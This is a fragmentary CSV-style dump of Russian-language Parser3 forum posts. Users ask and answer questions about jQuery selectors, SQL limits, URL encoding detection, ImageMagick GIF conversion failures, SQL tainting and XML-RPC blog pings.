На странице может быть 2 <span id=\"rating5\">тут что-нибудь</span>.\
А вот обновляется только первый в коде.\
\
В силу ламерства в JavaScript, прошу помощи. Подскажите, как поправить код скрипта, чтобы обновились все с одинаковым именем."
"64840","На странице не должно быть более одного <span id=\"rating5\">тут что-нибудь</span>\
\
Значение атрибута id должно быть уникально"
"64842","В <span /> добавить class, который будет равен rating5.\
Затем просто:\
[code]\
$(\"span[class=rating5]\").append(\"<br /> Обновление...\");\
[/code]\
\
P.S. Почему Ваш код не срабатывает? Да потому что jQuery для поиска элемента по ID использует DOM метод getElementById, который возвращает первый найденный в документе элемент с данным ID (это правильно по спецификации)."
"64844","Подскажите как лучше писать код, обращения в БД, с точки зрения скорости и безопасности — пускай даже на теоретическом уровне…\
\
Если запрос должен вытягивать всегда только 1 запись, стоит ли в код вписывать $.limit(1)?\
\
Ведь даже если этого не делать, то все равно будет выбрана нужная запись.\
Вопрос конечно невесомый, но все таки решил уточнить. Что бы на душе спокойней было.\
\
Вот пара примеров:\
\
# Это на новость\
[code]@news[]\
$news[^table::sql{\
	SELECT id, uri, name\
	FROM news\
	WHERE uri = '$form:news'\
}[\
	$.limit(1)\
]][/code]\
\
# Это пример из форума, где высчитуется дата для сортировки тем с учетом разности сообщений, тоесть было ли оно изночально вшитым в тему или уже добавлено\
[code]@date_count_sort[themes_id]\
^MAIN:dbconnect{\
	$dateid[^int:sql{\
		SELECT MAX(idname)\
		FROM post\
		WHERE idthemes = $themes_id\
	}[\
	$.limit(1)\
	]]\
\
	$datecount[^table::sql{\
	SELECT date\
	FROM post\
	WHERE idthemes = $themes_id\
	AND idname = $dateid\
	ORDER BY 'date' DESC\
	}[\
	$.limit(1)\
	]]\
\
	$dateroot[^table::sql{\
	SELECT date\
	FROM themes\
	WHERE id = $themes_id\
	ORDER BY 'date' DESC\
	}[\
	$.limit(1)\
	]]\
}\
^if(def $datecount){$datecount.date}{$dateroot.date}[/code]"
"64845","... писать лимиты во всех запросах, особенно для тех, которые принципиально не могут вернуть более одной записи.\
\
Для второго и третьего запросов лучше использовать string:sql."
"64846","кто-нибудь ставил парсер на мастерхосте???"
"64847","Хм, текстом из документации:\
[quote]^string:sql{SQL-запрос}\
Возвращает строку, полученную из базы данных через SQL-запрос. Результатом выборки должен быть только один столбец из одной строки.\
Используя этот метод, полезно конструировать SQL-запрос так, чтобы в ответе заведомо содержалась одна строка из одного столбца.\
\
$.limit(1) - в ответе заведомо будет содержаться только одна строка.\
[/quote]\
\
\
Таким образом получается лишний параметр? Ведь сам метод предполагает, — только единичную выборку…"
"64848","http://www.parser.ru/forum/?terms=masterhost&author=&doSearch=%CD%E0%E9%F2%E8"
"64849","то работа на верстальщика ложится не только по написанию шаблонов того, как они на сайте будут видны, но и шаблонов для редактирования, т.е. как данные будут видны при редактировании с кнопочками для редактирования, селекторами и т.д.?"
"64850","и ваш запрос sql::string вернёт не одну строку — будет ошибка.\
Чтобы ошибки в таком случае не было можно указать лимит = 1.\
\
Но гораздо лучше продумать структуру таблиц и запросы, а limit использовать лишь для подстраховки, а не в качестве панацеи."
"64851","Или сразу после строки подключения прогнать запрос:\
\"set names cp1251\""
"64852","[Sun Feb 10 11:25:24 2008] [86734] /restaurants/: /**/index.html(40:2): './lib/libparser3mysql.so' can't open the module [<no type>] [uri=/restaurants/, method=GET, cl=0]\
\
Уже все переделал, помогите! :)"
"64853","см. http://www.parser.ru/forum/?id=64852"
"64857","не понимаю, почему этот параметр вы считаете лишним...\
\
$.limit(n) -- это замена LIMIT в mysql запросе, которая является переносимой. именно этот параметр мы рекомендуем использовать вместо указания LIMIT в тексте запроса.\
\
если вы пишите ^string:sql{}, то для того, чтобы не было сообщения об ошибке, вы должны позаботиться, чтобы этот запрос вернул одну строку с одним столбцом (если запрос вернёт более 1 строки или более 1 столбца -- будет парсерный exception). как вы этого будете добиваться, с помощью $.limit(1), с помощью LIMIT 1 или вообще без этих комманд, когда они не нужны, например SELECT MAX(dt) FROM news -- ваше дело."
"64859","Не 1 — смысла нет, будет ошибка."
"64860","нет смысла именно при ^string:sql{SQL-запрос} указывать лимит более 1, то получается, что это лишний параметр — именно для этого метода.\
\
Ведь сама суть метода в извлечении 1 строки и столбца, — что само собой уже обуславливает извлечение только одной записи. А указывая $.limit(1), мы лишний раз подтверждаем, что необходимо извлечь одну запись.\
\
Вот и предположил, что это может еще немного улучшить следующие версии Parser, в данном случае со стороны устранения лишнего параметра. По логике-то ведь, он получается лишним. Было бы лучше, не указывать его вручную, что бы предупредить возможную ошибку, — а вшить его специфику в сам метод ^string:sql{} класса String.\
\
чтобы: ^string:sql{}[$.limit(1)] всегда равно ^string:sql{}"
"64861","а если вы ошиблись в SQL запросе, и он возвращает 10000 записей (нагружая и SQL сервер по самое не балуйся и парсер, т.к. эти записи для начала надо получить), а парсер молча возвращает вам одну?"
"64871","Всё же решил создать ветку.\
Кто умный, кого достало, кто считает это всё ненужной фигнёй — просьба не писать.\
Слышал, знаю.\
\
Я, как нормальный дурень, хочу в этом разобраться.\
\
Итак, имеем:\
1. Сайт в UTF, введённый урл rewrite'ится как поле «url», на index.html.\
2. Браузер.\
3. Ввод в адресную строку запроса вида «Тест» (любая кириллица).\
\
Сайт работает полность в UTF.\
Во время работы формируется XML, который трансформируется в HTML.\
В XML выдаются разные служебные поля, в том числе, поля формы (именно формы, а не request:query).\
\
Сайт отдаёт всё в UTF, потому\
[code]$response:charset[UTF-8][/code]\
Сайт ожидает данных в UTF, потому\
[code]$request:charset[UTF-8][/code]\
\
И вот в адресную строку пользователем вбивается кириллица.\
Причины, по которым это происходит могут быть разные: на сайте используются «кириллические» URL'ы, пользователю не фиг делать, пользователь ошибся.\
Также это может быть кривая внешняя ссылка.\
\
Эмпирическим путём выявлено следующее поведение браузеров в подобных ситуациях: в зависимости локализации ОС/браузера и(ли) настроек браузер энкодит кириллицу в некую кодировку.\
Как показывается практика, для нас, чаще всего, это WIN.\
\
Таким образом, запрос «http://site/Тест» превращается в «http://site/%f2%e5%f1%f2/» (IE, FF).\
В силу рерайта, такой URL аналогичен «http://site/?url=%f2%e5%f1%f2/».\
\
Как помним, сайт ожидает прихода запроса в UTF, Парсер честно считает пришедшее юникодом и перекодировку не производит.\
Как видим, приходит туда WIN.\
\
И если в request:query у нас лежит энкоденный вариант «%f2%e5%f1%f2/», то данные формы Парсер из кодов переводит в символы.\
В поле формы оказывается текст в кодировке WIN, но считается она за UTF.\
\
В результате, при попытке xdoc::create имеем ошибку «Input is not proper UTF-8, indicate encoding».\
\
Подобная ситация с нестыковкой ожидаемой и фактической кодировок может произойти и в других случаях.\
\
Браузер никаких заголовков, позволяющих опознать кодировку при таком запросе не отсылает.\
\
Согласен, что в этом полностью виноват клиент, заславший неверный запрос.\
Однако, нельзя на подобных запросах падать, гораздо правильнее опознать кодировку и сделать редирект на верный URL.\
Либо, в случае поста формы, нормально обработать данные, если это возможно.\
\
Нельзя давать ронять сайт элементарным действием.\
\
Можно, конечно и сказать, что «запрос не опознан», но для правильной обработки подобной ошибки нужно опознать кодировку запроса и быть уверенным что она не та, что ожидалось.\
\
Вариант решения вижу ровно один: опознать кодировку запроса и переключить $request:charset в опознанную кодировку.\
Тогда Парсер сделает всё сам (если такую кодировку знает) и всё будет красиво.\
Другой вариант — заставить сервер самостоятельно делать то же самое, чтобы Парсер получал всё в UTF.\
\
Собственно вопрос: как опознать кодировку?\
Либо, возможно ли соответствующая настройка сервера? Пока ничего подобного в сторону «от пользователя» на глаза не попалось.\
\
Может я чего не понимаю и можно сделать что-то ещё?..\
\
Буду рад любой помощи."
"64873","т.е. если юзер сам покопался в URI, тут ничего не поделаешь.\
\
Угадать с некой вероятностью кодировку можно только по словарю / частотам символов.\
\
В случае с submit'ом форм проблема решается следующим образом - в форму подставляется hidden-поле с известной строкой кириллицей. По тому, во что она превратилась, можно угадать, какую перекодировку осуществил браузер, прокся или что там ещё затесалось между сайтом и клиентом."
"64875","Были обои две такие мысли.\
\
Надеялся что не знаю чего...\
\
P.S. На «ты», если можно."
"64876","Достать поле из request:query и попробовать преобразовать заменой кодов на символы.\
Так уже можно получить осмысленный вариант, если угадать.\
\
А для опознания можно переключить в несколько response:charset и полученную, после замен кодов, строку преобразовать taint[uri] через временное сохранение в файл.\
Затем загрузить и сравнить с тем, что лежит в request:query.\
Перебором, но можно попробовать выяснить.\
\
Хотя это очень херезжопный вариант, да."
"64878","[quote]И если в request:query у нас лежит энкоденный вариант «%f2%e5%f1%f2/», то данные формы Парсер из кодов переводит в символы.[/quote]\
\
Это я так считал.\
Проверил — фиг.\
В request:query лежит текст в WIN, т.е. то же самое, что и в form.\
Причина, видимо, в том, что Парсер не делал никаких перекодировок, т.к. ожидает всё в UTF.\
\
Заборол в лоб — генерю XML с полями формы и в try делаю xdoc::create в UTF.\
Если падает с ошибкой «xml» и ругается «Input is not proper UTF-8, indicate encoding» ловлю и выдаю статус 400."
"64882","читал доки по веб-сервисам, только не совсем понял, можно ли их использовать при создании сайтов? и в чем плюсы и минусы этого подхода?"
"64883","В общем виде сервисный подход позволяет легко производить декомпозицию системы на независимые уровни, что бывает очень полезно."
"64886","не могу настроить парсер на мастерхосте\
опишите процесс пошагово"
"64887","т.е. веб-сервис генерирует xml страницы, а веб-приложение просто применяет к нему xslt? или веб-приложение вызывает различные методы сервиса, САМО компонует их в единый xml и трансформирует с помощью xsl?\
меня интересует технология их работы, никак не могу понять :("
"64889","В общем случае веб-сервис получает и отвечает на запросы по протоколку HTTP. Какой протокол использовать на прикладном уровне выбирает программист. Можете передовать запрос просто через строку запроса (GET), можете отдавать и получать в теле в виде какого-нибудь SOAP'а (хотя это и не лучший вариант) или придумайте свой текстовый протокол - все это не принципиально и зависит от задачи и инсрумента. Сейчас модно использовать REST, что позволяет более полно используовать возможности HTTP-протокола. \
\
Главное, что транспортом для веб-сервиса является HTTP. Все остальное не важно."
"64890","... организации веб-сервиса ОСМП - http://osmp.ru/img/doc/interface_podkl_usl.pdf\
\
Типичный пример с простым и понятным протоколом."
"64892","Или для унаследованного (и простого) кода. Итак, сделана оптимизация SQL запросов SELECT использующих парсерный $.limit\
\
1. Все запросы начинающиеся с select и имеющие ненулевой $.limit автоматически корректируются в SELECT TOP <limit> + <offset>\
\
2. Разумеется в тексте основного запроса (подзапрос не в счет) не должно быть никакого TOP\
\
3. В случае только limit это нормальная оптимизация, в случае limit и offset не очень, т.к. при больших таблицах и смещениях ядро СУБД подготавливает большой объем строк, правда они не передаются по сети, т.к. сразу делается скачок по смещению и только после этого начинается передача нужного количества строк.\
\
Брать отсюда: http://www.egoroff.spb.ru/portfolio/download/"
"64894","Привожу выжимку из классов для работы с imagemagick\
[code]@main[]\
\
$s[^file::exec[/cgi-bin/convert.sh;;/home/a/automirnew/public_html/testban/1.gif;-filter;lanczos;-quality;80;-colors;64;-resize;100x100!;-quiet;-format;gif;/home/a/automirnew/public_html/testban/1x.gif]]\
\
$s[^file::exec[/cgi-bin/convert.sh;;/home/a/automirnew/public_html/testban/1.gif;-filter;lanczos;-quality;80;-colors;64;-resize;100x100!;-quiet;-format;png;/home/a/automirnew/public_html/testban/1x.png]][/code]\
\
в итоге уменшение картинки 1.gif в файл 1x.gif не дает положительного результата - получается файл размером 0 байт\
при это вторая строчка успешно делает png-файл\
\
исходные данные: \
Version: ImageMagick 6.3.5 02/11/08 Q16 http://www.imagemagick.org под gentoo linux\
если вызывать через класс и выводить результат, для первой строчки получается 139 - ошибка, для второй - 0 - нет ошибки\
\
Как заставить ImageMagick сохранять в GIF?"
"64895","Технологию я знаю :) Проблема в применении знаний. допустим есть база с контентом типа Engine. tcnm 3 варианта:\
1. можно сделать веб-приложение, запускающее обработчики и т.д., которое выдает xml, либо еще преобразует в xsl, это классика :)\
2. можно сделать веб-сервис с методами типа дай_новости, дай_список_сотрудников компании и т.д., который работает с той же базой. а веб-приложение просто вызывает методы вебсервиса, формирует результирующий xml и при необходимости формируте xhtml или wml.\
3. веб-сервис формирует не куски xml, а весь xml нужной страницы. веб-приложение просто берет этот xml и формирует результирующий xml и при необходимости формируте xhtml или wml.\
\
так вот плюс веб-сервиса в том, что в 2 и 3 можно написать GUI-приложение, которое, скажем, будет выдавать свежие новости с сайта и т.д. но для небольших сайтов этого всего не нужно, и таким образом, возникает лишняя прослойка между БД и веб-приложением в виде веб-сервиса.\
я верно рассуждаю?"
"64896","может у вас исходный файлик битый?\
проверьте: http://www.spearance.ru/parser3/pictures/"
"64898","... и применять веб-сервисы тут смысла нет."
"64899","я делаю sh файл куда прописываю тупо вызов конверта, т.е. праметры не предаю - пишу возьми этот файл, умень его и сохраи в новый gif\
захожу в /cgi-bin/ через ssh и запускаю его из консоли - все отрабатывает! нужный правильный гиф создается как надо\
пишу на парсере\
@main[]\
$s[^file::exec[/cgi-bin/test.sh]]\
отрабатывает, но создается гиф пустой (0 байт), если в sh прописать сохранение в png, то и изпарсера все ок.\
Есть такое подозрение, что может не подтем пользователем запускается из консоли и из парсера и у парсреного пользователя нет доступа к какой-то библиотеке. Хотя это чисто гипотеза.\
\
Может кто знает?"
"64900","[code]$a[^file::exec[../newspi/convert;;-scale;200;-antialias;${rnd}_b.jpg;${rnd}_b.jpg]][/code]"
"64901","с jpg оно у меня работает, оно и с гифом почти работает, но только из консоли почему-то :("
"64903","У меня бывало так, что на ImageMagick, вызванный из .cgi, не хватало памяти на процесс. Именно при создании gif. На png и jpg памяти хватало."
"64905","Может какая утечка памяти в старой версии ImageMagick'а, мож ещё чего.\
Из консоли памяти хватало всегда.\
\
Надо будет потестить ещё, вроде хостер добавлял памяти на процесс, но на тот момент я остановился на варианте с png."
"64907","32 метра на процесс. Вроде неплохо.\
Попробуйте начать с минимальных опецаций: создание пустого gif, создание gif с текстом, например, и т.д. Парсера код тоже тоже минимальный (тестовый).\
И смотреть, на какой стадии перестаёт работать. Если на первой же -- написать в поддержку."
"64909","$s[^file::exec[/cgi-bin/test.sh]]\
$s.status == 139\
$s.stderr вот это пишет\
/home/a/automirnew/public_html/cgi-bin/test.sh: line 3: 27394 Segmentation fault /usr/bin/convert /home/a/automirnew/public_html/testban/1.gif -resize 64x64 /home/a/automirnew/public_html/testban/1x.gif"
"64911","Сначала ресайз в png, потом новый png в gif. Скорее всего вызовом двух разных шел-скриптов.\
\
Судя по ошибкам из [url=\"http://www.parser.ru/forum/?id=64909\"]поста[/url] -- чистая нехватка памяти. У меня было именно так."
"64912","в связи с используемыми классами Img переход тривиален, версии nconvert есть для linux/freebsd готовые"
"64916","шел-скпирт падает с ошибой?? Вы же написали, что копирование (конвертация) картинки из png в gif проходит успешно. Здесь такая же операция??"
"64917","успешно делает из gif --> png\
И из gif --> gif без resize! - там типа копирования получается"
"64918","даже любой png (например, руками созданный, маленький) сконвертить в gif, то совсем глухо.\
Если получается, то как писал выше должно сработать.\
\
Ещё как вариант -- запустить процесс скрипта в бекграунде, чтобы парсер не ждал ответа. Если такой подход возможен.\
\
Скоро мне предстоит заняться подобным на старом (на котором раньше падало) хостинге. Если до сих пор проблема осталась, то буду думать...\
\
Найдёте решение -- отпишитесь сюда, для потомков:-)"
"64919","[code]\
@bDate[dt]\
$dt[^date::create[$dt]]\
\
^bDate[1956-09-27]\
[/code]\
\
Ошибка:\
[code]'create' year '1956' is out of valid range[/code]\
\
Почему?"
"64920","Сначала тут: http://www.parser.ru/docs/lang/?dateclass.htm\
\
А потом вот тут: http://www.parser.ru/examples/cdate/"
"64921","Диапазон возможных значений - от 01.01.1970 до 01.01.2038 года."
"64925","чем цвет от nconvert отличается от цвета от IM? :)\
просто я на практике всегда использовал только первый, интересно мнение тех кто РЕАЛЬНО работал с обоими - их практические достоинства и недостатки?"
"64927","почему-то у меня было представление, что nconvert также мощно инсталлируется как мейджик ) все гениальное просто ))\
Ещё раз всем спасибо!"
"64930","Хостер в свое время обновил версию ОС, а под нее не было nconvert'a. В работающем проекте ресайз картинок перестал работать. Пришлось перейти на использование IM. Хорошо что Миша в свое время предложил сделать класс универсальным :)\
\
Имхо, принципиальной разницы нет. По крайней мере я при использовании особых различий не заметил.\
\
IM вроде как работает побыстрее. Но кому принципиальны доли секунды? \
\
При использовании IM разок столкнулся с проблемой невозможности запуска онного из-за safe mode. Решилось установки grpunlim версии Парсера.\
\
P.S. В классах для работы с картинками(как при использовании NC, так и IM) \"узким\" местом является метод @info. В разных версиях программ вывод информации о картинке может различаться и иногда регекспы ее разбирают не правильно."
"64931","Есть необходимость создать трекер.\
Он не должен зависить от платформы (Unix, Windows, ...). Сам трекер желательно, чтобы был на C/C++/PHP/Perl и использовать любую БД. Я нашел довольно интересный и легкий - [url=\"http://xbtt.sourceforge.net/tracker/\"]XBT Tracker[/url], сам он написал на C++, использует БД MySQL.\
Есть модуль для Invision Power Board 2, правда он больше не поддерживается разработчиками, но мне особо и не нужен, т.к. мне придется много что изменять, поэтому скорее всего придется писать сайт на Парсере.\
Вот я и задумался может у како-нибудь уже был опыт в создании трекера, может если полегче и интереснее пути?"
"64932","... на Си, чтобы лучше держал нагрузку. А вот сайт трекера сделать на Парсере не сложно."
"64933","Че за ось была, не припомните?\
Чтобы при случае знать на что наткнулся.\
\
Пока что работал в Freebsd 4/6, SUSE Linux, Kubuntu и win32/64 - нигде проблем не наблюдалось"
"64935","xnview пока нет - имеет проблему, связанную с безопасностью\
http://secunia.com/advisories/28326/\
\
там написано\
Solution:\
Update to XnView version 1.92.1 and NConvert 4.86.\
а тут http://pagesperso-orange.fr/pierre.g/xnview/en_ncdownload.html бинарные версии только 4.85 под линукс"
"64937","Есть работающий макет CMS. Она очень простая. Для простых сайтов.\
Подробное описание [url=\"http://stopdesign.habrahabr.ru/blog/35710.html\"]на Хабрахабре[/url]. Там картинки и куча слов.\
\
Собираюсь выложить исходники в открытый доступ и организовать возможность их обсуждения. Перед этим хотел немного довести до ума код и добавить пару возможностей, чтобы хоть было что обсуждать.\
\
Если у кого-то возникнет желание поучаствовать в проекте — пишите. Лучше сюда или лично, т.к. на хабре я уже не разберусь в этих комментариях никогда."
"64938","Очень интересно посмотреть."
"64940","Вообще на странице nconverta есть список всех поддерживаемых ОС"
"64941","Если да, то закачивайте nconvert который есть и работайте."
"64945","> Перед этим хотел немного довести до ума код\
\
это порочный путь, на своём опыте знаю. \"Лучшее - враг хорошего\"."
"64946","Что проиходит при генерации страницы.\
Какие «модули» есть, как дописываются нужные.\
Какова структура БД, как происходит разделение прав (если оно есть).\
\
В общем, пока кроме красивых картинок и богомерзкого WYSIWYG-редактора ничего не ясно."
"64947","не думайте, что если вы выложите что-либо, то все бросятся разбираться в вашей реализации и внедрять усовершенствования.\
\
\
большинство взглянув поверхностно будет задавая кучу вопросов, на которые можно найти ответы по коду/в описании/фак/форуме, доставая вас этим.\
\
часть сообщит как бы делали они.\
\
часть просто возьмёт и будет использовать.\
\
скорее всего лишь несколько человек укажут на неоптимальности и логические ошибки, которые вам будет несложно устранить, без пересмотра вашей идеологии (это пожалуй единственный гарантированный плюс)\
\
хорошо если найдётся пара человек, которые что-то сделают для этой системы."
"64948","просто суппорт осторожничает. Хотя если захотят сайт вальнуть скорее задосят его банально."
"64949","Предлагаю вместе сделать это. Результат пополам."
"64950","Пиши на почту. Вышлю все библиотеки."
"64951","Есть ли тут такие люди? Критерии:\
\
1) москвич\
2) отлично пишет на парсере, по крайней мере не хуже меня\
3) знает XML, XSLT, JavaScript и возможно прочие технологии, может ими пользоваться \
4) пытается сам зарабатывать, путем созданием сайтов, программ и прочего\
\
5) НО ПОКА НЕ ЗНАЕТ как зарабатывать на этом а) много и б) работая на себя, а не на дядю.\
\
6) и ищет способ как выполнить пункт 5.\
\
Если такие есть, откликнитесь!!!\
\
У меня нет ответа на этот вопрос. \
Но я хочу с вами (по критериям) пообщаться. \
Мозговым штурмом может быть найти ответ."
"64953","Вы наверное не читали моего сообщения:)\
На работу устроиться это работать на дядю.\
Не годится вариант."
"64954","Стать «дядей» самому, открыв собственный бизнес.\
\
Как ещё можно «заработать на Парсере»?\
Продавать диски с дистрибутивами в переходе?.."
"64957","Что в вашем понимании значит заработать много? \
\
Что бы заработать с помощью вэб-разработки (в частности с помощью Парсера) надо либо устроиться на работу в соотвутствующее место (об этом вам уже сказали), либо стать фрилансером. (Открыть свою контору на пустом месте довольно сложно)\
\
Ничего не бывает \"много и сразу\" Ко всему есть свой путь и его надо пройти.\
\
P.S. Сам зарабатываю как веб-разработчик. В т.ч. (в основном) с помощью Парсера. Имею постоянную работу + устойчивый фриланс. Постепенно двигаюись к созданию своего дела."
"64958","Заработать много это хотя бы в 2-5 раз больше, чем любой наемной работе.\
\
Я не ищу пути МНОГО и СРАЗУ. Но вот принцип создания хочу найти. Ибо похоже я не знаю его.\
\
Den Kulikoff, а вы к какому своему делу двигаетесь? Можете рассказать подробнее?"
"64962","Как вариант: делать партнерские сайты на парсере:) Сейчас уже есть достаточно партнерок предоставляющих XML. Вообщем офф это здесь."
"64964","[quote]Как вариант: делать партнерские сайты на парсере:) Сейчас уже есть достаточно партнерок предоставляющих XML. Вообщем офф это здесь.[/quote]\
\
А в чем суть заработка?\
\
И почему офф???"
"64966","[quote]А в чем суть заработка?[/quote]\
В коммисионных, разумеется.\
\
[quote]И почему офф???[/quote]\
Потому что тут язык обсуждают а не виды заработка.\
\
P.S. Каждый может сделать удачный стартап и потом продавать рекламу или его целиком. Парсер тут не причем."
"64969","Я только начал осваивать парсер, и на 1 же уроке заглючил.\
Там рассматривается фаил, где описывается меню. В фаиле описана таблица. Ниже дан текст, что все таблицы должны быть в формате tab-delimited.\
\"Столбцы разделяются знаком табуляции\" - использую, допустим, \"блокнот\", знак табуляции - это посто нужно клавишу Tab нажать? Или этот знак имеет видимый символ?\
\
\"а строки - переводом каретки\" - ну а здесь, собственно, \"Enter\".\
\
Вопросы похожи на вопросы блондинки, ну и ладно, учиться не позорно."
"64973","Но и все библиотеки нужны 32-битные.\
Можно взять, например, у меня на http://files.ptitov.ru/parser/"
"64975","[quote]И почему офф??? ---- Потому что тут язык обсуждают а не виды заработка.[/quote]\
\
Это не офф. Потому что я задаю тему КАК ЗАРАБАТЫВАТЬ НА ЛЮБОМОМ ДЕЛЕ. А в качестве любимого дела имею ввиде ПРОГРАММИРОВАНИЕ НА ПАРСЕРЕ. Так что оффом это я не считаю.\
\
[quote]P.S. Каждый может сделать удачный стартап и потом продавать рекламу или его целиком. Парсер тут не причем.[/quote]\
\
Стартап это хорошо. Итак: тема у нас Как Заработать на Парсере как на Любимом Деле?\
\
[quote]делать партнерские сайты на парсере:) Сейчас уже есть достаточно партнерок предоставляющих XML. В коммисионных, разумеется.[/quote]\
\
Я наверное не понял. Где тут собственно любимое дело? И как мы зарабатываем? Что такое \"партнерские сайты на парсере\" тоже не ясно. Очень прощу более распространнено рассказать о сути вашего способа заработка."
"64986","[code]\
@main[]\
^connect[mysql://@localhost/test]{\
	^taint[sql][123]\
}[/code]\
\
[quote][Thu Feb 14 03:37:28 2008] [1100] /test/index.html: untaint in SQL language failed - no connection specified [<no type>] [uri=/test/index.html, method=GET, cl=0][/quote]\
\
Parser:3.2.2, OS: Win64Server\
\
[url=\"http://www.parser.ru/forum/?id=62126\"]Здесь[/url]  уже всплывало, значит таки не FIXED?\
\
Докучи пара вопросов:\
1. как получить \"sql-грязную\" строку, не имея соединения с сервером? Придумывать свой sql-taint с реплейсами?\
2. Как получить ^file.sql-string[] не имея соединения? Аналогичный метод класса date, например, его не требует."
"64987","посмотрю, но на сколько я помню фиксилось падение парсера в core на unix в подобном случае.\
\
1. зачем нужна \"sql-грязная\" строка? почему не устраивает просто \"грязная\"? в любом случае taint преобразование строки на языке sql возможно только при известном соединении, т.к. для разных серверов преобразования разные.\
\
\
UPDATE: у меня всё работает так, как и должно (без connect -- ошибка):\
[code]\
$s[^taint[sql][string's]]\
\
^connect[$SQL.connect-string]{\
	^s.save[/../data/taint.txt]\
}\
\
done.\
[/code]\
\
вы точно понимаете, в какой момент происходит преобразование \"раскрашенных\" букв?"
"64990","Дело хорошее. Сам к ExtJS присматривался, чтобы скрестить со своей CMS-кой .COM. Однако, пока руки не дошли, да и код ExtJS показался слишком тяжелым для CMS-ки. Хотя, GUI получаеться действительно удобным.\
\
По личному опыту со своей [url=\"http://parser.proc.ru/\"].COM[/url] могу отметить следующее:\
1. Выкладывать исходники нужно. Большая часть отзывов, кончено, быдет пустым трепом, но найдутся и дельные замечания. Мне \"открытость\" помогла выявить многие ошибки и недочеты (хотя, работы еще навалом).\
\
2. Участники сами найдутся. Несмотря [url=\"http://www.parser.ru/forum/?id=50817\"]на первый[/url] не очень теплый прием CMS-ки нашлись те, кто действительно предложил свою помощь (сайт \"поддержки\", кстати, пока работает на сервере [url=\"http://oleg.volchkov.net/\"]Sumo[/url]), хотя-бы в виде комментариев\
\
3. Если возникла задача построить CMS, значит были предпосылки: проекты. для которых она нужна. У меня сейчас огромный поток работы и практически все я делаю на .COM. Соовтетсвенно, я сам стараюсь сделать ее как можно более \"универсальной\", т.к. задачи постоянно меняются.\
\
4. Одному работать тяжело. Это основная причина, почему, например, у меня сайт давно не обновляется. Я пытался найти со-разработчиков среди \"подписчиков\" и даже пытался специально подготовить людей (учил аспирантов/студентов) - но пока все бесполезно. Реально пока приходиться делать все своими силами.\
\
Проблема в том, что прогресс не стоит на месте и на определенном этапе получается. что для развития системы нужно решать одновременно несколько задач.\
\
Так-что. Дело ваше. Но я бы все-же советовал дело вести. Егоров тоже в свое время выложил исходники своего сайта, на базе которых я построил свою систему. Т.е. работа была сделана не в пустую.\
\
От себя могу предложить кооперацию: найти точки пересечения."
"64993","Например , форма отправляет в базу такой текст:\
<b>Parser3</b>\
\
когда берешь из базы отправленный текст то получается \
&lt;b&gt;Parser3&lt;/b&gt;\
Ковычки заменяются на &lt;  и  &gt;\
как избавится от этой проблемы?"
"64994","Так нет:\
\
[code]$s[^taint[sql][string's]]\
^connect[$SQL.connect-string]{\
  $s\
}[/code]\
-> untaint in SQL language failed\
\
Т.е. в файл можно, а в браузер нельзя??\
я догадываюсь когда происходит преобразование, но не совсем понимаю, почему оно происходит таки при сохранении в файл, по идее sql-taint тогда уж должен происходить только при отправке реальных запросов в БД. Если же в файл можно то и в output должно быть также. Как пример мне нужно сгенерить sql-скрипт и выдать его в браузер, чтобы его оттуда можно было скопировать и вставить где нужно. Еще бывает нужно увидеть своими глазами, что ушло в БД as-is.\
Вариант со сначала сохранением в файл, загрузкой из файла и выдачей в браузер, имхо. очень криво смотрится\
\
\
Даже из приведенного вами примера видна некоторая неестественность ситуации. Если я хочу _просто_ положить строку в файл, сделав преобразование taint-sql, то зачем мне соединение с БД?\
Если проблема именно в том, что преобразования разные под разные БД - то может дать программисту указать его явно, например ^taint[mysql|oracle|postgre...][....] и не требовать с него соединения (оставив поведение при указании \"sql\" как было для совместимости)?\
\
там еще был вопрос как получить ^file.sql-string[]..."
"64995","Доброго, помогите пожалуйста освоить xml rpc. Делаю свой блог на парсере, встал вопрос в пинговании яндекса чтобы он узнал о том что появилась новая запись в блоге\
\
Как это работает?\
Каждый раз, когда вы публикуете новую запись в своём дневнике, ваш сервер должен посылать Яндексу специальное сообщение по протоколу XML-RPC.\
Адрес: http://ping.blogs.yandex.ru/RPC2\
Метод: weblogUpdates.ping (weblogname, weblogurl, changesurl=weblogurl, categoryname=\"none\") returns struct;\
Пример сообщения:\
\
POST /RPC2 HTTP/1.0\
User-Agent: Radio UserLand/7.1b7 (WinNT)\
Host: rpc.weblogs.com\
Content-Type: text/xml\
Content-length: 250\
\
\
<?xml version=\"1.0\"?>\
<methodCall>\
	<methodName>weblogUpdates.ping</methodName>\
	<params>\
		<param>\
			<value>Scripting News</value>\
		</param>\
		<param>\
			<value>http://www.scripting.com/</value>\
		</param>\
	</params>\
</methodCall>\
\
мой код для этого \
\
[code]\
$file[^file::load[text;http://ping.blogs.yandex.ru/RPC2;\
   $.headers[\
   $.timeout(5)\
   $.method[POST /RPC2 HTTP/1.0] \
   $.Content-Type[text/xml]\
   $.USER-AGENT[Radio UserLand/7.1b7 (WinNT)]\
   $.HTTP_HOST[rpc.weblogs.com]\
   $.Content_length[250]\
   $.body[<?xml version=\"1.0\"?>\
<methodCall>\
<methodName>weblogUpdates.ping</methodName>\
<params>\
<param>\
<value>Название блога</value>\
</param>\
<param>\
<value>Адрес блога</value>\
</param>\
</params>\
</methodCall>]\
   ]\
]]\
[/code]\
\
Робот яндекса не приходит по адресу. В чем может быть проблема? Понятно что ошибка в моем коде, вот только я не могу сообразить где. Не подскажите?"
"64997","- timeout, body, method -- не надо помещать в заголовки\
- 'Content-length' != 'Content_length' (более того его вообще не надо указывать)\
- метода, который вы указываете, не бывает, бывает post или get"
"64998","[quot]\
Т.е. в файл можно, а в браузер нельзя??\
[/quot]\
\
судя по этому вопросу вы неверно догадываетесь, когда оно происходит (я не просто так показал в примере что taint можно делать _вне_ connect, а писать в файл -- внутри оного).\
\
ответ: да, в файл можно, а в броузер нельзя, т.к. в момент преобразований для выдачи броузеру никаких connect уже нет.\
\
\
[quot]\
Как пример мне нужно сгенерить sql-скрипт и выдать его в браузер\
[/quot]\
\
нам такого не было нужно, работать в этом направлении не планируем. в общем основная задача парсера немного иная.\
\
\
[quot]\
может дать программисту указать его явно, например ^taint[mysql|oracle|postgre...][....]\
[/quot]\
\
не считаю что это: во первых ложится в текущую схему работы taint-инга, во вторых -- востребовано.\
UPDATE: обсуждался вариант дать возможность выполнить преобразование здесь и сейчас, но опять же ввиду малой востребованности этого для нас -- этого даже нет у меня в todo. но патч примем :)\
\
\
[quot]\
там еще был вопрос как получить ^file.sql-string[].\
[/quot]\
\
